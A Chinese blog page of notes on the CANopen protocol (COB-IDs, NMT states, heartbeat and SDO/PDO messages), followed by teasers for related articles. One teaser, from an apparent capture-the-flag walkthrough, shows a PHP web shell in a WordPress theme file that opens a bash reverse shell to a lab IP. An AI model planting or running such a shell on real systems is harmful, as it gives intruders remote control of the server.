CANopen通讯协议笔记

CANopen通讯协议笔记

  • CANopen 通信对象编号
  • CANopen整体框架
  • 网络管理(NMT)
  • 主要任务
  • 上线报文
  • 心跳报文
  • 过程数据对象(PDO)
  • SDO服务数据对象
  • 对象字典概述

CANopen 通信对象编号

CANopen报文传输采用 CAN 标准帧格式。
这里的CAN-ID也叫COB-ID(C通信对象编号),Node-ID节点ID,最大128个,范围0-127。
在这里插入图片描述

简易CANopen消息
在这里插入图片描述

COB-ID 数据结构解析:
在这里插入图片描述
COB-ID:Communication Object Identifier,即 CANopen 中对某种通讯对象的报文帧ID,即 CAN 报文的 11 位 ID。代表了一种通讯含义。

Node-ID:节点 ID 号,即 CANopen 网络中的节点地址,CANopen 规定了逻辑上最大 128 个节点,所以 Node-ID 最大为 128(7 位)。COB-ID 和 Node-ID 无必然联系,但在过程数据对象(PDO)和服务数据对象(SDO)中,COB-ID 中包含了 Node-ID。

CANopen整体框架

在这里插入图片描述

网络管理(NMT)

CANopen所有节点通信地位平等,区别于普通的CAN有仲裁判断优先级。
网络管理主机 NMT-Master(Network Management-Master)。采用的主从方式,主机节点可以向从节点发送和请求数据。同一个网络中只能有一个主节点,一个或者多个从节点。NMT 主机和 NMT 从机之间通讯的报文就称为 NMT 网络管理报文。
在这里插入图片描述

主要任务

协调各个节点的同步、心跳、时间、错误提示等通讯控制,CANopen 还定义了一系列特殊协议(Special protocols)报文作用指挥所有节点的启动、停止。进入预操作状态、复位节点等。
在这里插入图片描述

在这里插入图片描述
从下图可以看到,预操作状态与操作状态可以互相切换。
在这里插入图片描述
以下表格是各种状态下可以运行或操作的指令
在这里插入图片描述
节点只要它上线,就会有一个上线报文消息,之后会有心跳报文持续的发送过来,如果没有心跳报文只有上线报文,可能的原因是1.没有设置心跳报文的间隔时间。2.状态没有跳转到预操作状态。

上线报文

在这里插入图片描述

不要误以为CAN-ID:0x705是CANopen节点的身份,CANopen节点的身份是0x05才对。那么0x705是什么意思?? 0x705 = 0x700(心跳报文)+ Node-ID(0x05),其中的Node-ID才是CANopen节点的身份。
在这里插入图片描述
符合CANopen对NMT节点上线报文的定义:CAN-ID = 0x700 + node-ID(0x05 = 0x705,然后长度01,接着数据段是0。

心跳报文

CANopen 应用中通常都要求在线
上电的从站定时发送状态报文(心跳报文),以便于主站确认从站是否故障、是否脱离网络。
在这里插入图片描述
CANopen 从站按其对象字典中 1017h 中填写的心跳生产时间(ms)进行心跳报文的发送,而 CANopen 主站(NMT 主站)则会按其 1016h 中填写的心跳消费时间进行检查,假设超过诺干次心跳消费时间没有收到从站的心跳报文,则认为从站已经离线或者损坏。

在CANbus总线上发送以下指令:

CANID : 0x00
帧长度:0x02
帧类型:数据帧
数据段:0x02,0x00(总线上所有节点)
有意思的是,CANopen从站收到该命令后,心跳报文停止了。

1、从时间戳上看到,报文是每1秒发送1次。
2、从CANID = 0x705得到,这个是Node_ID = 0x05的CANopen节点发出来的心跳报文。
3、报文的数据段只有1个字节(7F),表示该CANopen节点处于预操作状态。(在该状态下,PDO功能是关闭的)
在这里插入图片描述

CANID : 0x00
帧长度:0x02
帧类型:数据帧
数据段:0x80,0x05(Node-ID为0x05的CANopen节点)(单独对0x05节点开启预操作状态)
在这里插入图片描述

过程数据对象(PDO)

SDO服务数据对象

SDO服务数据对象 (Service Data object) 采用服务器客户端模式,这种模式的特色是一问一答。注意CANopen主节点是客户端(主要是索取消息),CANopen从节点是服务器(提供消息)。主要工作特定:有指定被接收节点的地址(Node-ID),并且需要指定的接收节点回应 CAN 报文来确认已经接收,如果超时没有确认,则发送节点将会重新发送原报文。

而 SDO 就相对比较简单固定,发起通讯的“问”SDO 的 CAN 帧 ID 就是 600h +node-ID,这里的 Node-ID 是被问的节点地址,而被问的节点应“答”SDO 的 CAN 帧 ID 就是 580h +node-ID。
在这里插入图片描述

这里先提下PDO,PDO 和 SDO 的通讯区别在于,PDO 属于过程数据,即单向传输,无需接收节点回应CAN 报文来确认(无需应答,发送之后不管你有没有收到),从通讯术语上来说是属于“生产消费”模型。

在这里插入图片描述
在这里插入图片描述

由于需要区分每个 CANopen 节点的输入和输出,所以 PDO 分为 TPDO(发送 PDO)和(接收 RPDO),发送和接收是以 CANopen 从站节点为参考(如果 CAN 主站就相反)。TPDO和 RPDO 分别有 4 个数据对象,每种数据对象就是 1 条 CAN 报文封装

在这里插入图片描述

PDO 的两种传输方式:同步传输和异步传输。
在这里插入图片描述

对象字典概述

在这里插入图片描述
在这里插入图片描述
通用通讯对象十分重要,NMT 主站(CANopen 主站)在启动时,通常都全部或者部分读取所有从站中通用通讯对象中的索引,所以所有的通用通讯对象都必须在CANopen 从站中实现
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146549.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

互联网全景消息(5)之RocketMq快速入门(下)

一、RocketMQ的存储设计 1.1 Domain Model 1.1.1 Message Message是RocketMQ消息引擎中的主体。messageId是全局唯一的。MessageKey是业务系统(生产者)生成的,所以如果要结合业务,可以使用MessageKey作为业务系统的唯一索引。 1.1.2 Topic subTopics==Message Queue,其实…

0基础学习HTML(十)表格

HTML 表格 HTML 表格由 <table> 标签来定义。 HTML 表格是一种用于展示结构化数据的标记语言元素。 每个表格均有若干行&#xff08;由 <tr> 标签定义&#xff09;&#xff0c;每行被分割为若干单元格&#xff08;由 <td> 标签定义&#xff09;&#xff0c…

计算机毕业设计之:基于微信小程序的校园流浪猫收养系统

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

YOLOV8 OpenCV + usb 相机 实时识别

1 OpenCV 读相机 import cv2cap cv2.VideoCapture(0) while (1):# get a frameret, frame cap.read()# show a framecv2.imshow("capture", frame)if cv2.waitKey(1) & 0xFF ord(q):# cv2.imwrite("/opt/code/image/fangjian2.jpeg", frame)#passb…

前端-js例子:tab切换

实现效果&#xff1a; 实现步骤&#xff1a; 1. body内容元素 <div class"container"><ul class"top_title"><li class"first" index"1">title1</li><li index"2">title2</li><li …

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

Vue使用axios二次封装、解决跨域问题

1、什么是 axios 在实际开发过程中&#xff0c;浏览器通常需要和服务器端进行数据交互。而 Vue.js 并未提供与服务器端通信的接口。从 Vue.js 2.0 版本之后&#xff0c;官方推荐使用 axios 来实现 Ajax 请求。axios 是一个基于 promise 的 HTTP 客户端。 关于 promise 的详细介…

专为汽车功能应用打造的 MLX90376GGO、MLX90377GGO、MLX90377GDC-ADB-280 Triaxis®磁位置传感器 IC

一、MLX90376 Triaxis堆叠式高性能位置传感器芯片&#xff08;模拟/PWM/SENT/SPC&#xff09; MLX90376GGO-ABA-600 MLX90376GGO-ABA-630 MLX90376GGO-ABA-680 MLX90376是一款磁性绝对位置传感器芯片&#xff0c;适用于要求具备抗杂散磁场干扰性能的360旋转汽车应用。它提供…

Matlab进阶绘图第68期—带分组折线段的分区柱状图

上一篇文章分享了分区柱状图的绘制方法&#xff1a; 带分组折线段的分区柱状图是在原始分区柱状图的基础上&#xff0c;再添加分组折线段&#xff0c;用以增加一个对象的表达。 由于Matlab中未收录的带分组折线段的分区柱状图的绘制方法&#xff0c;因此需要大家自行解决。 本…

C++进阶(2):多态

多态的概念 多态分为编译时多态(静态多态)和运行时多态(动态多态)。**编译时多态&#xff1a;**主要就是我们前面讲的函数重载和函数模版。之所以叫编译时多态&#xff0c;是因为实参传给形参的参数匹配是发生在编译时完成的&#xff08;ps&#xff1a;通常把编译时一般归为静…

Java项目实战II基于Java+Spring Boot+MySQL的网上租贸系统设计与实现(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 "随着…

面试-设计模式

策略模式 定义了一组算法&#xff0c;分别封装起来&#xff0c;这些算法直接可以相互替换 设计模式的开闭原则&#xff1a;对修改关闭&#xff0c;对扩展开放 装饰模式 将某种算法作为一个装饰品添加到对象身上&#xff0c;同时可以自由穿戴更换装饰品 两个主要的角色&…

游戏淡入淡出效果

一、制作UIdocument 注&#xff1a;是全黑的&#xff1b;并且Picking Mode设置为Igore 通过调节display中的值&#xff0c;实现淡入淡出效果 二、建立空物体 增加uiDocument 拖入相关的物体 注&#xff1a;层级必须设置为最高&#xff0c;此处为20&#xff0c;这个效果必须遮…

MySQL深入原理

MySQL深入原理 索引、事务、日志原理、InnoDB引擎、缓存、锁 有4个数据库是属于MySQL自带的系统数据库&#xff1a; ​ mysql MySQL 系统自带的核心数据库&#xff0c;它存储了MySQL的用户账户和权限信息&#xff0c;一些存储过程、事件的定义信息&#xff0c;一些运行过程中…

波分技术基础 -- Liquid OTN

什么是Liquid OTN 传统OTN技术主要定位于骨干网和城域网应用&#xff0c;主要用于承载大于1Gbits/s速率业务&#xff0c;在OTN下沉到城域/接入网后&#xff0c;面临如下问题&#xff1a;管道弹性不足&#xff08;最小管道ODU0&#xff09;、连接数少、带宽调整不够灵活等挑战。…

yolov5/8/9模型在COCO分割数据集上的应用【代码+数据集+python环境+GUI系统】

yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 1.COCO数据集介绍 COCO数据集&#xff0c;全称为Microsoft Common Objects in Context&#xff0c;是微软于2014年出资标注的…

更换硬盘后,电脑装完系统进不去?或PE能识别硬盘但开机/启动/BIOS识别不了硬盘解决办法

由于现在的电脑主板&#xff0c;默认都是UEFI启动&#xff0c;硬盘只有使用GUID分区表&#xff0c;主板BIOS才找得到系统引导&#xff01; 而当我们拿到一块新硬盘&#xff0c;使用分区工具默认类型分区&#xff0c;默认是MBR类型&#xff0c;所以这种分区的硬盘&#xff0c;B…

解决Windows10关闭UAC后,开机启动项不生效的问题

Windows10关闭UAC后&#xff0c;会发现启动项不生效。 运行输入gpedit.msc打开组策略&#xff08;家庭版没有组策略功能&#xff09; 依次展开计算机配置-》Windows设置-》安全设置-》本地策略-》安全选项-》用户账户控制&#xff1a;以管理员批准模式运行所有管理员&#xf…

VGG16模型实现新冠肺炎图片多分类

1. 项目简介 本项目的目标是通过深度学习模型VGG16&#xff0c;实现对新冠肺炎图像的多分类任务&#xff0c;以帮助医疗人员对患者的影像进行快速、准确的诊断。新冠肺炎自爆发以来&#xff0c;利用医学影像如X光和CT扫描进行疾病诊断已成为重要手段之一。随着数据量的增加&am…

ETCD学习使用

一、介绍 etcd&#xff08;分布式键值存储&#xff09;是一个开源的分布式系统工具&#xff0c;用于可靠地存储和提供键值对数据。etcd 通常通过 HTTP 或 gRPC 提供 API&#xff0c;允许应用程序通过简单的接口与其交互。由于其可靠性和稳定性&#xff0c;etcd 在构建可扩展、分…